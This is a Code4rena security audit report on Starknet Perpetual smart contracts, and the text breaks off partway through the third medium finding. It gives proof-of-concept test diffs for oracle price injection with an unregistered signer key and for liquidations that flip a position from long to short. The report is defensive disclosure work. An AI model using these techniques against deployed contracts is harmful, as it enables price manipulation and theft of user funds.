code4rena

Starknet Perpetual

Smart Contract Security Assessment

Audit dates: Mar 19 — Apr 09, 2025

Overview

About C4

Code4rena (C4) is a competitive audit platform where security researchers, referred to as Wardens, review, audit, and analyze codebases for security vulnerabilities in exchange for bounties provided by sponsoring projects.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Starknet Perpetual smart contract system. The audit took place from March 19 to April 09, 2025.

Final report assembled by Code4rena.

Summary

The C4 analysis yielded an aggregated total of 5 unique vulnerabilities. Of these vulnerabilities, 2 received a risk rating in the category of HIGH severity and 3 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 14 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding, which may include relevant context from the judge and Starknet Perpetual team.

Scope

The code under review can be found within the C4 Starknet Perpetual repository, and is composed of 39 smart contracts written in the Cairo programming language and includes 3,846 lines of Cairo code.

The code in C4's Starknet Perpetual repository was pulled from:

- Repository: https://github.com/starkware-libs/starknet-perpetual
- Commit hash: `6103343c20bc797be598c04a10839bbdda073854`

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (2)

[H-01] A malicious signed price can be injected in `assets.price_tick()`

Submitted by alexxander, also found by 0xAlix2, b0g0, hakunamatata, krikolkk, oakcobalt, Olugbenga, said, stonejiajia, trachev, and VulnSeekers

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/components/assets/assets.cairo#L109-L145

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/components/assets/assets.cairo#L350

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/components/assets/assets.cairo#L708

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/components/assets/assets.cairo#L746-L762

Finding description and impact

An oracle is added for a synthetic asset through the governance protected function `assets.add_oracle_to_asset()`. The oracle is saved for a particular asset in the `asset_oracle` storage by mapping its public key to the asset name + oracle name.

```
fn add_oracle_to_asset(
    ref self: ComponentState<TContractState>,
    asset_id: AssetId,
    oracle_public_key: PublicKey,
    oracle_name: felt252,
```

```
    asset_name: felt252,
) {
    // ...
    // Validate the oracle does not exist.
    let asset_oracle_entry =
self.asset_oracle.entry(asset_id).entry(oracle_public_key);
    let asset_oracle_data = asset_oracle_entry.read();
    assert(asset_oracle_data.is_zero(), ORACLE_ALREADY_EXISTS);
    // ...
    // Add the oracle to the asset.
    let shifted_asset_name = TWO_POW_40.into() * asset_name;
    asset_oracle_entry.write(shifted_asset_name + oracle_name);
    // ...
}
```

The function `assets.price_tick()` updates the price of an asset where a list of `signed_prices` is supplied that must only contain prices that were signed by oracles that were added through `assets.

`add_oracle_to_asset()` for that asset. The validation of the list is done in `assets._validate_price_tick()` where `assets._validate_oracle_signature()` is called for each signed price. This function attempts to read from storage the packed asset and oracle names stored against the supplied `signed_price.signer_public_key`, hash the read value with the supplied oracle price and timestamp and validate if the signature supplied for that hash value corresponds to the supplied public key.

However, there is no validation if the supplied `signed_price.signer_public_key` is an existing key in storage. For an arbitrary signer key, the `self.asset_oracle.entry(asset_id).read(signed_price.signer_public_key)` operation returns an empty `packed_asset_oracle` instead of a panic halting execution. This allows for an arbitrary `signed_price.signer_public_key` to create a signature over packed asset and oracle names that are 0 and bypass `validate_oracle_siganture()`, therefore, supplying an arbitrary price without the signer key being approved and added by the governance admin through `add_oracle_to_asset()`.

```
fn _validate_oracle_signature(
    self: @ComponentState<TContractState>, asset_id: AssetId,
signed_price: SignedPrice,
) {
    // @audit won't panic on non existing signer_price.signer_public_key
    let packed_asset_oracle = self
        .asset_oracle
        .entry(asset_id)
        .read(signed_price.signer_public_key);
```

```
    let packed_price_timestamp: felt252 =
signed_price.oracle_price.into()
        * TWO_POW_32.into()
        + signed_price.timestamp.into();
    let msg_hash = core::pedersen::pedersen(packed_asset_oracle,
packed_price_timestamp);
    validate_stark_signature(
        public_key: signed_price.signer_public_key,
        :msg_hash,
        signature: signed_price.signature,
    );
}
```

Recommended mitigation steps

Panic if the supplied `signed_price.signer_public_key` maps to an empty packed oracle name + asset name.

Proof of Concept

- Place the modified `test_price_tick_basic()` in `test_core.cairo`
- Execute with `scarb test test_price_tick_basic`
- The test shows how an invalid oracle can provide signature for `price_tick()`

```
 fn test_price_tick_basic() {
     let cfg: PerpetualsInitConfig = Default::default();
     let token_state = cfg.collateral_cfg.token_cfg.deploy();
     let mut state = setup_state_with_pending_asset(cfg: @cfg,
token_state: @token_state);
     let mut spy = snforge_std::spy_events();
     let asset_name = 'ASSET_NAME';
     let oracle1_name = 'ORCL1';
     let oracle1 = Oracle { oracle_name: oracle1_name, asset_name,
key_pair: KEY_PAIR_1() };
     let synthetic_id = cfg.synthetic_cfg.synthetic_id;
     cheat_caller_address_once(contract_address: test_address(),
caller_address: cfg.app_governor);
     state
         .add_oracle_to_asset(
             asset_id: synthetic_id,
             oracle_public_key: oracle1.key_pair.public_key,
             oracle_name: oracle1_name,
             :asset_name,
         );
     let old_time: u64 = Time::now().into();
```

```
     let new_time = Time::now().add(delta: MAX_ORACLE_PRICE_VALIDITY);
     assert!(state.assets.get_num_of_active_synthetic_assets() == 0);
     start_cheat_block_timestamp_global(block_timestamp:
new_time.into());
     cheat_caller_address_once(contract_address: test_address(),
caller_address: cfg.operator);
-    let oracle_price: u128 = ORACLE_PRICE;
+    // @audit can set whatever price here
+    let oracle_price: u128 = ORACLE_PRICE*1000;
     let operator_nonce = state.get_operator_nonce();
+
+    // @audit use key pair 3 even though the public key hasn't been
added through add_oracle_to_asset()
+    let malicious_oracle_signer = Oracle {oracle_name: '', asset_name:
'', key_pair: KEY_PAIR_3()};
+
     state
         .price_tick(
             :operator_nonce,
             asset_id: synthetic_id,
             :oracle_price,
+            // @audit invalid oracle
             signed_prices: [
-                oracle1.get_signed_price(:oracle_price, timestamp:
old_time.try_into().unwrap())
+                malicious_oracle_signer.get_signed_price(:oracle_price,
timestamp: old_time.try_into().unwrap())
             ]
                 .span(),
         );

     // Catch the event.
     let events = spy.get_events().emitted_by(test_address()).events;
     assert_add_oracle_event_with_expected(
         spied_event: events[0],
         asset_id: synthetic_id,
         :asset_name,
         oracle_public_key: oracle1.key_pair.public_key,
         oracle_name: oracle1_name,
     );
     assert_asset_activated_event_with_expected(spied_event: events[1],
asset_id: synthetic_id);
     assert_price_tick_event_with_expected(
-        spied_event: events[2], asset_id: synthetic_id, price:
PriceTrait::new(value: 100),
```

```
+        spied_event: events[2], asset_id: synthetic_id, price:
PriceTrait::new(value: 100_000),
     );

     assert!(state.assets.get_synthetic_config(synthetic_id).status ==
AssetStatus::ACTIVE);
     assert!(state.assets.get_num_of_active_synthetic_assets() == 1);

     let data = state.assets.get_synthetic_timely_data(synthetic_id);
     assert!(data.last_price_update == new_time);
-    assert!(data.price.value() == 100 * PRICE_SCALE);
+    assert!(data.price.value() == 100_000 * PRICE_SCALE);
 }
```

oded (Starknet Perpetual) confirmed

[H-02] `_execute_transfer` wrong order of operations, will first apply diff and then check with applying the diff

Submitted by EPSec, also found by 0x73696d616f, 0xAlix2, 0xAsen, 0xNirix, 0xSolus, 13u9, aldarion, alexxander, b0g0, Bauchibred, Brene, CODESPECT, crunter, dystopia, hakunamatata, handsomegiraffe, HashNodeLabs, hirosyama, Kirkeelee, klau5, krikolkk, montecristo, newspacexyz, oakcobalt, peanuts, persik228, said, trachev, and zzykxx

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/core.cairo#L959-L988

Root Cause

The `_execute_transfer` function applies a state change (`apply_diff`) to the sender's position before validating its health (`_validate_healthy_or_healthier_position`). This results in the potential application of the state change a second time during validation, which can lead to failure if the sender's position becomes unhealthy after the second state change.

Impact

- **Inconsistent State:** The sender's position may be healthy, but two times applying the diff could make the `_validate_healthy_or_healthier_position` to revert.

Recommended Mitigation Steps

To ensure the operations are executed in the correct order, make the following change.

Updated Code

```
fn _execute_transfer(
    ref self: ContractState,
    recipient: PositionId,
    position_id: PositionId,
    collateral_id: AssetId,
    amount: u64,
) {
    let position_diff_sender = PositionDiff { collateral_diff: -
amount.into(), synthetic_diff: Option::None };
    let position_diff_recipient = PositionDiff { collateral_diff:
amount.into(), synthetic_diff: Option::None };

+   self._validate_healthy_or_healthier_position(
+       position_id: position_id,
+       position: self.positions.get_position_snapshot(position_id),
+       position_diff: position_diff_sender
+   );

    self.positions.apply_diff(position_id: position_id, position_diff:
position_diff_sender);
    self.positions.apply_diff(position_id: recipient, position_diff:
position_diff_recipient);

    let position = self.positions.get_position_snapshot(position_id);
-   self._validate_healthy_or_healthier_position(
-       position_id: position_id,
-       position: position,
-       position_diff: position_diff_sender
-   );
}
```

Steps:

1. **Validate sender's position health** before applying any state changes.
2. **Apply diffs** only if the validation passes to ensure the sender's position remains healthy.
3. Test the implementation with both success and failure cases to confirm the behavior works as expected.

This version provides a concise explanation of the issue, impact, and recommended solution. The steps are clearly laid out for better actionability. Let me know if you need further adjustments!

Proof of Concept

```
#[test]
fn test_successful_trade() {
    // Setup state, token and user:
    let cfg: PerpetualsInitConfig = Default::default();
    let token_state = cfg.collateral_cfg.token_cfg.deploy();
    let mut state = setup_state_with_active_asset(cfg: @cfg, token_state:
@token_state);

    let user_a = Default::default();
    init_position(cfg: @cfg, ref :state, user: user_a);

    let user_b = UserTrait::new(position_id: POSITION_ID_2, key_pair:
KEY_PAIR_2());
    init_position(cfg: @cfg, ref :state, user: user_b);

    // Test params:
    let BASE = -10;
    let QUOTE = 75;
    let FEE = 1;

    // Setup parameters:
    let expiration = Time::now().add(delta: Time::days(1));

    let collateral_id = cfg.collateral_cfg.collateral_id;
    let synthetic_id = cfg.synthetic_cfg.synthetic_id;

    let order_a = Order {
        position_id: user_a.position_id,
        salt: user_a.salt_counter,
        base_asset_id: synthetic_id,
        base_amount: BASE,
        quote_asset_id: collateral_id,
        quote_amount: QUOTE,
        fee_asset_id: collateral_id,
        fee_amount: FEE,
        expiration,
    };

    let order_b = Order {
        position_id: user_b.position_id,
        base_asset_id: synthetic_id,
        base_amount: -BASE,
        quote_asset_id: collateral_id,
        quote_amount: -QUOTE,
        fee_asset_id: collateral_id,
        fee_amount: FEE,
```

```
        expiration,
        salt: user_b.salt_counter,
    };

    let hash_a = order_a.get_message_hash(user_a.get_public_key());
    let hash_b = order_b.get_message_hash(user_b.get_public_key());
    let signature_a = user_a.sign_message(hash_a);
    let signature_b = user_b.sign_message(hash_b);
    let operator_nonce = state.get_operator_nonce();

    let mut spy = snforge_std::spy_events();
    // Test:
    cheat_caller_address_once(contract_address: test_address(),
caller_address: cfg.operator);
    state
        .trade(
            :operator_nonce,
            :signature_a,
            :signature_b,
            :order_a,
            :order_b,
            actual_amount_base_a: BASE,
            actual_amount_quote_a: QUOTE,
            actual_fee_a: FEE,
            actual_fee_b: FEE,
        );

    // Catch the event.
    let events = spy.get_events().emitted_by(test_address()).events;
    assert_trade_event_with_expected(
        spied_event: events[0],
        order_a_position_id: user_a.position_id,
        order_a_base_asset_id: synthetic_id,
        order_a_base_amount: BASE,
        order_a_quote_asset_id: collateral_id,
        order_a_quote_amount: QUOTE,
        fee_a_asset_id: collateral_id,
        fee_a_amount: FEE,
        order_b_position_id: user_b.position_id,
        order_b_base_asset_id: synthetic_id,
        order_b_base_amount: -BASE,
        order_b_quote_asset_id: collateral_id,
        order_b_quote_amount: -QUOTE,
        fee_b_asset_id: collateral_id,
        fee_b_amount: FEE,
        actual_amount_base_a: BASE,
```

```
            actual_amount_quote_a: QUOTE,
            actual_fee_a: FEE,
            actual_fee_b: FEE,
            order_a_hash: hash_a,
            order_b_hash: hash_b,
        );

        // Check:
        let position_a = state.positions.get_position_snapshot(position_id:
user_a.position_id);
        let user_a_collateral_balance = state
            .positions
            .get_collateral_provisional_balance(position: position_a);
        let user_a_synthetic_balance = state
            .positions
            .get_synthetic_balance(position: position_a, :synthetic_id);

let position_b = state.positions.get_position_snapshot(position_id:
user_b.position_id);
        let user_b_collateral_balance = state
            .positions
            .get_collateral_provisional_balance(position: position_b);
        let user_b_synthetic_balance = state
            .positions
            .get_synthetic_balance(position: position_b, :synthetic_id);

let position = state.positions.get_position_snapshot(position_id:
FEE_POSITION);
        let fee_position_balance =
state.positions.get_collateral_provisional_balance(:position);
        assert!(fee_position_balance == (FEE + FEE).into());

        let expiration = Time::now().add(delta: Time::days(1));
        let collateral_id = cfg.collateral_cfg.collateral_id;
        let operator_nonce = state.get_operator_nonce();

        let transfer_args = TransferArgs {
            position_id: user_a.position_id,
            recipient: user_b.position_id,
            salt: user_a.salt_counter,
            expiration: expiration,
            collateral_id,
            amount: 1500,
        };

        let mut spy = snforge_std::spy_events();
```

```
    let msg_hash =
transfer_args.get_message_hash(user_a.get_public_key());
    let sender_signature = user_a.sign_message(msg_hash);
    // Test:
    cheat_caller_address_once(contract_address: test_address(),
caller_address: user_a.address);
    state
        .transfer_request(
            signature: sender_signature,
            recipient: transfer_args.recipient,
            position_id: transfer_args.position_id,
            amount: transfer_args.amount,
            expiration: transfer_args.expiration,
            salt: transfer_args.salt,
        );
    cheat_caller_address_once(contract_address: test_address(),
caller_address: cfg.operator);
    state
        .transfer(
            :operator_nonce,
            recipient: transfer_args.recipient,
            position_id: transfer_args.position_id,
            amount: transfer_args.amount,
            expiration: transfer_args.expiration,
            salt: transfer_args.salt,
        );

    // Catch the event.
    let events = spy.get_events().emitted_by(test_address()).events;
    assert_transfer_request_event_with_expected(
        spied_event: events[0],
        position_id: transfer_args.position_id,
        recipient: transfer_args.recipient,
        collateral_id: transfer_args.collateral_id,
        amount: transfer_args.amount,
        expiration: transfer_args.expiration,
        transfer_request_hash: msg_hash,
    );
    assert_transfer_event_with_expected(
        spied_event: events[1],
        position_id: transfer_args.position_id,
        recipient: transfer_args.recipient,
        collateral_id: transfer_args.collateral_id,
        amount: transfer_args.amount,
        expiration: transfer_args.expiration,
        transfer_request_hash: msg_hash,
```

```
    );

    // Check:
    let sender_position =
state.positions.get_position_snapshot(position_id: user_a.position_id);
    let sender_collateral_balance = state
        .positions
        .get_collateral_provisional_balance(position: sender_position);
    //assert!(sender_collateral_balance ==
COLLATERAL_BALANCE_AMOUNT.into() - TRANSFER_AMOUNT.into());

    let recipient_position = state
        .positions
        .get_position_snapshot(position_id: user_b.position_id);
    let recipient_collateral_balance = state
        .positions
        .get_collateral_provisional_balance(position:
recipient_position);

}
```

oded (Starknet Perpetual) confirmed

Code4rena judging staff adjusted the severity of Finding [H-01], after reviewing additional context provided by the sponsor.

Medium Risk Findings (3)

[M-01] Deleveragable Positions Cannot Be Fully Liquidated

Submitted by handsomegiraffe, also found by Bauchibred, CODESPECT, crunter, eta, hakunamatata, Hueber, m4k2, montecristo, and zzykxx

https://github.com/starkware-libs/starknet-perpetual/blob/main/workspace/apps/perpetuals/contracts/src/core/value_risk_calculator.cairo#L92

Finding description

According to spec, a position is liquidatable when Total Value (TV) is less than Total Risk (TR) (`TV < TR`) and deleveragable when `TV < 0`.

Liquidation is the preferred mechanism (over Deleverage) to wind down a deleveragable position because it is matched with a limit order. This is unlike the Deleverage mechanism

which matches the unhealthy position with another healthy position, which reduces the health of deleverager's position.

However, full liquidation of a deleveragable position **will always fail** the `assert_healthy_or_healthier` check. This is because when a position is fully liquidated, it no longer has exposure to the synthetic asset and `TR == 0`. But yet the check panics when `TR` is zero.

```
pub fn assert_healthy_or_healthier(position_id: PositionId, tvtr:
TVTRChange) {
    let position_state_after_change = get_position_state(position_tvtr:
tvtr.after);

    //@audit a deleveragable position has TV < 0 (not healthy) and will
skip the return here unlike liquidatable (but not deleveragable)
positions
    if position_state_after_change == PositionState::Healthy {
        return;
    }

        //@audit total_risk is zero after liquidating a deleveragable
postion -- causing panic here
    if tvtr.before.total_risk.is_zero() ||
tvtr.after.total_risk.is_zero() {

panic_with_byte_array(@position_not_healthy_nor_healthier(:position_id));
    }
```

This issue could also occur with liquidatable-only positions. For example, Position A is liquidatable with `TV = 5`. During liquidation, a liquidation fee of 10 is charged. Position A after-TV is now `-5`. Position is now not healthy, and if fully liquidated (`TR == 0`) will also revert.

Impact

This bug breaks a core piece of the protocol's risk engine: fully liquidating a deleveragable position. As a result:

- Toxic positions remain open, even when insolvent.
- Liquidators are blocked, reducing incentives and weakening protocol safety.
- The protocol is forced to fall back on deleverage, a less fair and more disruptive mechanism.
- In volatile conditions, this can lead to bad debt accumulation and threaten system stability.

Proof of Concept

Add this test to test_core.cairo, run `snforge test test_unsuccessful_liquidate`

```
#[test]
#[should_panic(expected: "POSITION_NOT_HEALTHY_NOR_HEALTHIER")]
fn test_unsuccessful_liquidate() {
    // Setup state, token and user:
    let cfg: PerpetualsInitConfig = Default::default();
    let token_state = cfg.collateral_cfg.token_cfg.deploy();
    let mut state = setup_state_with_active_asset(cfg: @cfg, token_state:
@token_state);

    let liquidator = Default::default();
    init_position(cfg: @cfg, ref :state, user: liquidator);
    let liquidated = UserTrait::new(position_id: POSITION_ID_2, key_pair:
KEY_PAIR_2());
    init_position(cfg: @cfg, ref :state, user: liquidated);
    add_synthetic_to_position(
        ref :state,
        synthetic_id: cfg.synthetic_cfg.synthetic_id,
        position_id: liquidated.position_id,
        balance: -SYNTHETIC_BALANCE_AMOUNT,
    );

    // Test params:
    let BASE = 20;
    let QUOTE = -2000; // oracle price is $100
    let INSURANCE_FEE = 1;
    let FEE = 2;

    // Setup parameters:
    let expiration = Time::now().add(delta: Time::days(1));
    let operator_nonce = state.get_operator_nonce();

    let collateral_id = cfg.collateral_cfg.collateral_id;
    let synthetic_id = cfg.synthetic_cfg.synthetic_id;

    let order_liquidator = Order {
        position_id: liquidator.position_id,
        salt: liquidator.salt_counter,
        base_asset_id: synthetic_id,
        base_amount: -BASE,
        quote_asset_id: collateral_id,
        quote_amount: -QUOTE,
        fee_asset_id: collateral_id,
```

```
        fee_amount: FEE,
        expiration,
    };

    let liquidator_hash =
order_liquidator.get_message_hash(liquidator.get_public_key());
    let liquidator_signature = liquidator.sign_message(liquidator_hash);

    // Panics with "POSITION_NOT_HEALTHY_NOR_HEALTHIER" as total_risk
after is 0
    cheat_caller_address_once(contract_address: test_address(),
caller_address: cfg.operator);
    state
        .liquidate(
            :operator_nonce,
            :liquidator_signature,
            liquidated_position_id: liquidated.position_id,
            liquidator_order: order_liquidator,
            actual_amount_base_liquidated: BASE,
            actual_amount_quote_liquidated: QUOTE,
            actual_liquidator_fee: FEE,
            liquidated_fee_amount: INSURANCE_FEE,
        );
}
```

```
Logs:
asset price: Price { value: 26843545600 }
asset balance before: Balance { value: -20 }
asset balance after: Balance { value: 0 }
asset value before: -2000
asset value after: 0
risk factor before: RiskFactor { value: 50 }
risk factor after: RiskFactor { value: 50 }
collateral balance before: Balance { value: 2000 }
collateral balance after: Balance { value: -1 }
collateral value before: 2000
collateral value after: -1
total value before: 0
total value after: -1
position is liquidatable
position is deleveragable
tvtr.before.total_risk: 1000
tvtr.after.total_risk: 0
```

```
[PASS] perpetuals::tests::test_core::test_unsuccessful_liquidate (gas:
~8069)
```

Recommended mitigation steps

If a deleveragable position is fully liquidated (i.e. zero synthetic balance after), the `assert_healthy_or_healthier` check could be skipped.

oded (Starknet Perpetual) confirmed

[M-02] Liquidatable long positions can be forced into short positions and vice versa

Submitted by alexxander, also found by __141345__, 0xAlix2, krikolkk, and SBSecurity

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/core.cairo#L617-L767

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/value_risk_calculator.cairo#L113-L128

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/value_risk_calculator.cairo#L85-L111

Finding description and impact

A position is liquidatable when the total value: `TV` is lower than the total risk `TR`. Executing `core.liquidate()` requires a signed trade order by a `liquidator` position and another position that meets the liquidatable condition. The outcome for the liquidated position has 2 requirements which can be found in `core._validate_liquidated_position()` and its subsequent call to `value_risk_calculator.liquidated_position_validations()`.

- The new (after liquidation) `TR` of the liquidated position must decrease
- The new (after liquidation) ratio of `TV` / `TR` must be greater or equal to the old (before liquidation) ratio of `TV` / `TR`

One way to satisfy this set of conditions is the liquidator to purchase / sell some of the assets of the liquidatable position

An example with a liquidatable long position:

- price(ETH) = $1500, risk_factor(ETH) = 0.25, collateral_balance = -20000, synthetic_balance(ETH) = 15

- TV (before) = 2500, TR (before) = abs(5625)
- Liquidator purchases 5 ETH from the long position at $1500
- TV (after) = (-20000 + 5*1500) + (15-5) * 1500 == 2500
- TR (after) = 10 * 1500 * 0.25 == abs(3750)
- The position is healthier since
- TR (after) < TR (before): 3750 < 5625
- TV / TR (after) >= TV / TR (before): 2500/3750 >= 2500/5625

However, assuming the same example, the set of conditions can also be satisfied by the Liquidator purchasing 25 ETH from the long position:

- price(ETH) = $1500, risk_factor(ETH) = 0.25, collateral_balance = -20000, synthetic_balance(ETH) = 15
- TV (before) = 2500, TR (before) = abs(5625)
- Liquidator purchases 25 ETH from the long position at $1500
- TV (after) = (-20000 + 25*1500) + (15-25) * 1500 == 2500
- TR (after) = -10 * 1500 * 0.25 == abs(-3750) == 3750
- The position is healthier since
- TR (after) < TR (before): 3750 < 5625
- TV / TR (after) >= TV / TR (before): 2500/3750 >= 2500/5625
- collateral_balance = 17500, synthetic_balance(ETH) = -10

The aftermath of such liquidation is that the liquidated long position has now become a short position without a consent from the liquidated position owner. The same outcome can happen for a liquidated short position becoming a long position after the liquidation. While liquidations are forced upon user's positions to reduce risk, it must be only within the user's privilege to determine which market conditions affect their position.

Recommended mitigation steps

Similarly to the functions `core.deleverage()` and `core.reduce_inactive_asset_position()`, use `core._validate_imposed_reduction_trade()` to prevent liquidators purchasing or selling more than the available synthetic balance of the liquidated positions.

Proof of Concept

- Place the modified `test_successful_liquidate()` in `test_core.cairo`
- Execute with `scarb test test_successful_liquidate`
- The test shows how the liquidated position was short (-20) synthetic asset balance and ends up long with (5) synthetic asset balance

```
#[test]
```

```
 fn test_successful_liquidate() {
     // Setup state, token and user:
     let cfg: PerpetualsInitConfig = Default::default();
     let token_state = cfg.collateral_cfg.token_cfg.deploy();
     let mut state = setup_state_with_active_asset(cfg: @cfg,
token_state: @token_state);

     let liquidator = Default::default();
     init_position(cfg: @cfg, ref :state, user: liquidator);
     let liquidated = UserTrait::new(position_id: POSITION_ID_2,
key_pair: KEY_PAIR_2());
     init_position(cfg: @cfg, ref :state, user: liquidated);
     add_synthetic_to_position(
         ref :state,
         synthetic_id: cfg.synthetic_cfg.synthetic_id,
         position_id: liquidated.position_id,
         balance: -SYNTHETIC_BALANCE_AMOUNT,
     );

+    // @audit Ensure the liquidator is very healthy
+    add_synthetic_to_position(
+        ref :state,
+        synthetic_id: cfg.synthetic_cfg.synthetic_id,
+        position_id: liquidator.position_id,
+        balance: SYNTHETIC_BALANCE_AMOUNT,
+    );
+
     // Test params:
     let BASE = 10;
+    // @audit the liquidated position is starts short with -20 synthetic
balance
+    // @audit the liquidated position will end up with a long position
of 5 synthetic balance
+    let BASE_NEW = 25;
     let QUOTE = -5;
+    let QUOTE_NEW = -10;
     let INSURANCE_FEE = 1;
     let FEE = 2;

     // Setup parameters:
     let expiration = Time::now().add(delta: Time::days(1));
     let operator_nonce = state.get_operator_nonce();

     let collateral_id = cfg.collateral_cfg.collateral_id;
     let synthetic_id = cfg.synthetic_cfg.synthetic_id;
```

```
      let order_liquidator = Order {
          position_id: liquidator.position_id,
          salt: liquidator.salt_counter,
          base_asset_id: synthetic_id,
-         base_amount: -BASE,
+         base_amount: -BASE_NEW,
          quote_asset_id: collateral_id,
-         quote_amount: -QUOTE,
+         quote_amount: -QUOTE_NEW,
          fee_asset_id: collateral_id,
          fee_amount: FEE,
          expiration,
      };

      let liquidator_hash =
order_liquidator.get_message_hash(liquidator.get_public_key());
      let liquidator_signature = liquidator.sign_message(liquidator_hash);

      let mut spy = snforge_std::spy_events();
      // Test:
      cheat_caller_address_once(contract_address: test_address(),
caller_address: cfg.operator);
      state
          .liquidate(
              :operator_nonce,
              :liquidator_signature,
              liquidated_position_id: liquidated.position_id,
              liquidator_order: order_liquidator,
-             actual_amount_base_liquidated: BASE,
-             actual_amount_quote_liquidated: QUOTE,
+             actual_amount_base_liquidated: BASE_NEW,
+             actual_amount_quote_liquidated: QUOTE_NEW,
              actual_liquidator_fee: FEE,
              liquidated_fee_amount: INSURANCE_FEE,
          );
      // Catch the event.
      let events = spy.get_events().emitted_by(test_address()).events;
      assert_liquidate_event_with_expected(
          spied_event: events[0],
          liquidated_position_id: liquidated.position_id,
          liquidator_order_position_id: liquidator.position_id,
          liquidator_order_base_asset_id: synthetic_id,
-         liquidator_order_base_amount: -BASE,
+         liquidator_order_base_amount: -BASE_NEW,
          liquidator_order_quote_asset_id: collateral_id,
-         liquidator_order_quote_amount: -QUOTE,
```

```
+         liquidator_order_quote_amount: -QUOTE_NEW,
          liquidator_order_fee_asset_id: collateral_id,
          liquidator_order_fee_amount: FEE,
-         actual_amount_base_liquidated: BASE,
-         actual_amount_quote_liquidated: QUOTE,
+         actual_amount_base_liquidated: BASE_NEW,
+         actual_amount_quote_liquidated: QUOTE_NEW,
          actual_liquidator_fee: FEE,
          insurance_fund_fee_asset_id: collateral_id,
          insurance_fund_fee_amount: INSURANCE_FEE,
          liquidator_order_hash: liquidator_hash,
      );

      // Check:
      let liquidated_position = state
          .positions
          .get_position_snapshot(position_id: liquidated.position_id);
      let liquidator_position = state
          .positions
          .get_position_snapshot(position_id: liquidator.position_id);

      let liquidated_collateral_balance = state
          .positions
          .get_collateral_provisional_balance(position:
liquidated_position);
      let liquidated_synthetic_balance = state
          .positions
          .get_synthetic_balance(position: liquidated_position,
:synthetic_id);
      assert!(
          liquidated_collateral_balance ==
(COLLATERAL_BALANCE_AMOUNT.into()
              - INSURANCE_FEE.into()
-             + QUOTE.into()),
+             + QUOTE_NEW.into()),
      );
-     assert!(liquidated_synthetic_balance == (-SYNTHETIC_BALANCE_AMOUNT +
BASE).into());
+     assert!(liquidated_synthetic_balance == (-SYNTHETIC_BALANCE_AMOUNT +
BASE_NEW).into());

      let liquidator_collateral_balance = state
          .positions
          .get_collateral_provisional_balance(position:
liquidator_position);
      let liquidator_synthetic_balance = state
```

```
            .positions
            .get_synthetic_balance(position: liquidator_position,
:synthetic_id);
        assert!(
            liquidator_collateral_balance ==
(COLLATERAL_BALANCE_AMOUNT.into()
                - FEE.into()
-               - QUOTE.into()),
+               - QUOTE_NEW.into()),
        );
-       assert!(liquidator_synthetic_balance == (-BASE).into());
+       assert!(liquidator_synthetic_balance == (SYNTHETIC_BALANCE_AMOUNT-
BASE_NEW).into());

        let fee_position =
state.positions.get_position_snapshot(position_id: FEE_POSITION);
        let fee_position_balance = state
            .positions
            .get_collateral_provisional_balance(position: fee_position);
        assert!(fee_position_balance == FEE.into());

        let insurance_fund_position = state
            .positions
            .get_position_snapshot(position_id: INSURANCE_FUND_POSITION);
        let insurance_position_balance = state
            .positions
            .get_collateral_provisional_balance(position:
insurance_fund_position);
        assert!(insurance_position_balance == INSURANCE_FEE.into());
    }
```

oded (Starknet Perpetual) confirmed and commented:

We will add a check to make sure that liquidations don't cause long positions to become shorts and vice versa. In most likelihood, an operator will not liquidate users this way even without this check.

[M-03] Stale prices can cause inaccurate validation of funding ticks in `funding_tick()`

Submitted by alexxander, also found by OxNirix, dystopia, kanra, m4k2, montecristo, and SBSecurity

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetu

als/contracts/src/core/components/assets/assets.cairo#L288-L323

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/components/assets/assets.cairo#L633-L649

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/components/assets/assets.cairo#L508-L516

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/types/funding.cairo#L103-L117

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/components/positions/positions.cairo#L445-L448

https://github.com/code-423n4/2025-03-starknet/blob/512889bd5956243c00fc3291a69c3479008a1c8a/workspace/apps/perpetuals/contracts/src/core/components/positions/positions.cairo#L534-L544

Finding description and impact

The function `assets.funding_tick()` updates the funding index for all active synthetic assets. This helps ensure that long and short positions are economically balanced over time. The function can be called only by the operator and takes as an input the parameter `funding_ticks` which is a list of `FundingTick` structs, each specifying an `asset_id` and its new `funding_index`. The number of `funding_ticks` provided matches the number of active synthetic assets and each active asset receives a funding tick update. For every funding tick in `funding_ticks`, the function `assets.

